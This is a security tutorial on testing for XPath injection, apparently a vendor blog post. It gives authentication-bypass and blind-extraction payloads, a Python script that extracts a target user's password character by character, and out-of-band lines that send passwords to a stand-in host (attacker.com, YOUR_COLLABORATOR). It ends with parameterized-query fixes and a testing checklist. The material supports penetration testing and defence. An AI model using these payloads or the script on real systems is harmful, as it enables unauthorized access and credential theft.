XPath Injection Testing: XML Database Attacks and Blind Exfiltration
XPath injection is the XML-world equivalent of SQL injection. Where SQL injection targets relational databases, XPath injection targets applications that use XML documents as their data store — or that construct XPath queries dynamically from user input. The attack is less common than SQLi but shares its fundamental flaw: concatenating user input directly into query strings without parameterization.
XPath injection is particularly prevalent in applications built around LDAP-connected systems, SOAP web services, configuration management tools, and legacy enterprise systems that rely on XML data stores. This guide covers identification, exploitation, and blind extraction techniques.
When XPath Injection Occurs
XPath injection requires two conditions: the application stores or queries data using XML, and user input is concatenated into an XPath query string. The most common locations:
| Application Pattern | Typical Vulnerable Query |
|---|---|
| XML-based authentication | //users/user[username='INPUT' and password='INPUT'] |
| XML product catalog | //products/product[name='INPUT'] |
| SOAP/XML web service search | //records/record[id='INPUT'] |
| XML configuration queries | //config/setting[@name='INPUT'] |
| Report/template engines | Dynamic XPath in XSLT transformations |
Authentication Bypass via XPath Injection
The most impactful XPath injection is authentication bypass — the XPath equivalent of ' OR '1'='1 in SQL. Given a login query:
string query = "//users/user[username='" + username + "' and password='" + password + "']";
Injecting into the username field with:
' or '1'='1
' or 1=1 or 'a'='b
admin' or '1'='1
Produces:
//users/user[username='' or '1'='1' and password='anything']
This returns all user nodes (since '1'='1' is always true), authenticating as the first user in the XML file — typically an administrator.
' or 1=1 or 'x'='y — basic bypassadmin']%00 — null byte to truncate the query (language-dependent)' or string-length(//user[1]/password)>0 or 'a'='b — conditional bypass
Testing Authentication Bypass
# Test authentication bypass payloads in username and password fields
# Payload 1: Classic OR bypass
username: ' or '1'='1
password: anything
# Payload 2: Bypass with comment-style truncation (not all XPath parsers support this)
username: admin'or'1'='1
password: anything
# Payload 3: Target specific user by position
username: ' or position()=1 or 'x'='y
password: anything
# Burp Suite: send to Intruder with authentication bypass wordlist
# Check for responses that differ from normal failed login:
# - Different HTTP status code
# - Different response length
# - Redirect to authenticated area
# - Different error message
Detecting XPath Injection
Error-Based Detection
XPath parser errors often appear verbatim in response bodies, making detection straightforward. Inject characters that break XPath syntax:
# Syntax-breaking characters for XPath error detection
' # Unmatched single quote
" # Unmatched double quote
'or' # String operator test
1/0 # Division by zero (in some implementations)
]] # Invalid bracket closure
// # Path separator in unexpected position
# Look for error messages containing:
# "XPath", "XPathException", "javax.xml.xpath", "System.Xml.XPath"
# "Invalid XPath expression", "XPathSyntaxException"
# Stack traces with XPath library names
Boolean-Based Detection (Blind)
When errors are suppressed, use Boolean-based probing — inject conditions that are always true or always false and observe behavioral differences:
# Inject into a parameter that normally returns one record
# Always-true condition — should return normal result
parameter: validvalue' or '1'='1
# Always-false condition — should return empty/different result
parameter: validvalue' and '1'='2
# If the application returns different results for true vs false:
# XPath injection is confirmed even without error messages
# Example: product search
# Normal: GET /products?name=Widget → returns Widget
# True: GET /products?name=Widget' or '1'='1 → returns ALL products (or first)
# False: GET /products?name=Widget' and '1'='2 → returns nothing
Blind XPath Injection: Data Extraction
Blind XPath injection extracts data from the XML document character by character using Boolean conditions — the same principle as blind SQL injection. The key XPath functions:
| XPath Function | Use | Example |
|---|---|---|
string-length() |
Get string length | string-length(//user[1]/password) |
substring() |
Extract substring | substring(//user[1]/password,1,1) |
count() |
Count nodes | count(//user) |
name() |
Get node name | name(//node()[1]) |
contains() |
String containment | contains(//user[1]/role,'admin') |
normalize-space() |
Trim whitespace | normalize-space(//user[1]/email) |
Enumerating the XML Structure
Before extracting values, map the XML document structure:
# Count how many top-level nodes exist under root
# Inject into a Boolean-based vector:
' or count(/*)=1 or 'x'='y → true/false
' or count(/*)=2 or 'x'='y → true/false
# Binary search to find the count efficiently
# Get the name of the root element
' or substring(name(/*[1]),1,1)='a' or 'x'='y → is first char of root 'a'?
' or substring(name(/*[1]),1,1)='b' or 'x'='y → is first char of root 'b'?
# Iterate through charset
# Enumerate child nodes
' or count(/*[1]/*)=1 or 'x'='y → how many children does root have?
' or name(/*[1]/*[1])='users' or 'x'='y → is first child named 'users'?
Extracting Data Values
# Count users
' or count(//users/user)=1 or 'x'='y
# Get length of first user's password
' or string-length(//users/user[1]/password)=8 or 'x'='y
# Extract password character by character
' or substring(//users/user[1]/password,1,1)='a' or 'x'='y
' or substring(//users/user[1]/password,2,1)='d' or 'x'='y
# Continue until full password extracted
# Extract admin username
' or //users/user[role='admin']/username='administrator' or 'x'='y
# More efficient: use string comparison for binary search
' or substring(//users/user[1]/password,1,1) > 'm' or 'x'='y
# Narrows down character in log2(n) queries instead of linear scan
Automating Blind XPath Extraction
Manual character-by-character extraction is slow. Automate it with a custom script or modified SQLMap configurations:
#!/usr/bin/env python3
import requests
import string
TARGET = "https://target.com/search"
PARAM = "name"
CHARSET = string.printable.strip()
def check(condition):
"""Returns True if condition evaluates to true in XPath"""
payload = f"' or {condition} or 'x'='y"
r = requests.get(TARGET, params={PARAM: payload})
return "Expected True Response" in r.text
def get_length(xpath):
for i in range(1, 100):
if check(f"string-length({xpath})={i}"):
return i
return 0
def get_string(xpath):
length = get_length(xpath)
result = ""
for pos in range(1, length + 1):
for char in CHARSET:
if check(f"substring({xpath},{pos},1)='{char}'"):
result += char
break
return result
# Extract first user's password
password = get_string("//users/user[1]/password")
print(f"Password: {password}")
Out-of-Band XPath Injection
Some XPath processors support functions that make external network requests, enabling out-of-band data extraction. This is particularly relevant in XSLT-based processing:
# XSLT/XPath document() function — triggers external HTTP request
# (supported in XSLT 1.0 and some XPath 2.0 processors)
document('https://attacker.com/log?data=' || //users/user[1]/password)
# Saxon XPath processor — allows external function calls
# Testing for document() function support:
' or document('https://YOUR_COLLABORATOR/')='' or 'x'='y
# If you receive a DNS/HTTP callback, document() is available
# Build exfiltration via URL parameter:
' or document(concat('https://YOUR_COLLABORATOR/?p=',//user[1]/password))='' or 'x'='y
XPath 2.0 and Advanced Techniques
XPath 2.0 (used by Saxon, BaseX, and modern Java XML processors) introduces additional functions:
# XPath 2.0 tokenization for easier extraction
tokenize(//user[1]/password,'')[1] # First character
# Regular expression matching (XPath 2.0)
matches(//user[1]/role,'admin','i') # Case-insensitive role check
# Error-based extraction via type conversion (some implementations)
xs:integer(//user[1]/password) # Throws error with value if not an integer
# Dynamic evaluation (if supported by processor)
# Some XPath 2.0 processors support xdmp:eval() or similar that enables
# full expression injection beyond Boolean probing
LDAP + XPath Combined Targets
Applications that bridge LDAP directories via XML representations may be vulnerable to both LDAP injection and XPath injection simultaneously. When testing LDAP-backed applications that return XML representations, test XPath injection payloads against any field that appears in query construction.
Preventing XPath Injection
The secure fix is parameterized XPath queries — analogous to prepared statements for SQL. In Java:
// Vulnerable
String xpath = "//users/user[username='" + username + "']";
// Secure — using XPath variables
XPath xPath = XPathFactory.newInstance().newXPath();
SimpleVariableResolver resolver = new SimpleVariableResolver();
resolver.addVariable("username", username);
xPath.setXPathVariableResolver(resolver);
NodeList result = (NodeList) xPath.evaluate(
"//users/user[username=$username]",
document,
XPathConstants.NODESET
);
In Python with lxml:
# Vulnerable
result = tree.xpath(f"//user[username='{username}']")
# Secure — using lxml's Smart Strings / extension elements
result = tree.xpath("//user[username=$username]", username=username)
XPath Injection Testing Checklist
- Test all input fields in forms that interact with XML data sources with single-quote and double-quote injection
- Test authentication endpoints with XPath authentication bypass payloads
- Check for XPath error messages in responses (parser-level errors reveal injection points)
- Perform Boolean-based detection using always-true and always-false conditions
- Test URL parameters, HTTP headers (User-Agent, X-Forwarded-For), and cookies
- Enumerate XML structure using
count()andname()functions - Attempt data extraction using
substring()and Boolean comparisons - Test for document() function support via OOB DNS/HTTP callback
- Verify SOAP web service parameters are tested — SOAP uses XML extensively
- Test XSLT endpoints for injection via stylesheet parameters
- Verify that parameterized XPath queries are used, not string concatenation
- Check input validation: angle brackets, quotes, and XPath operators should be rejected or escaped
Ironimo uses the same toolset professional pentesters rely on to detect injection vulnerabilities including XPath, SQL, LDAP, and NoSQL injection across all application layers. Automated scanning with expert-grade coverage.
Start free scan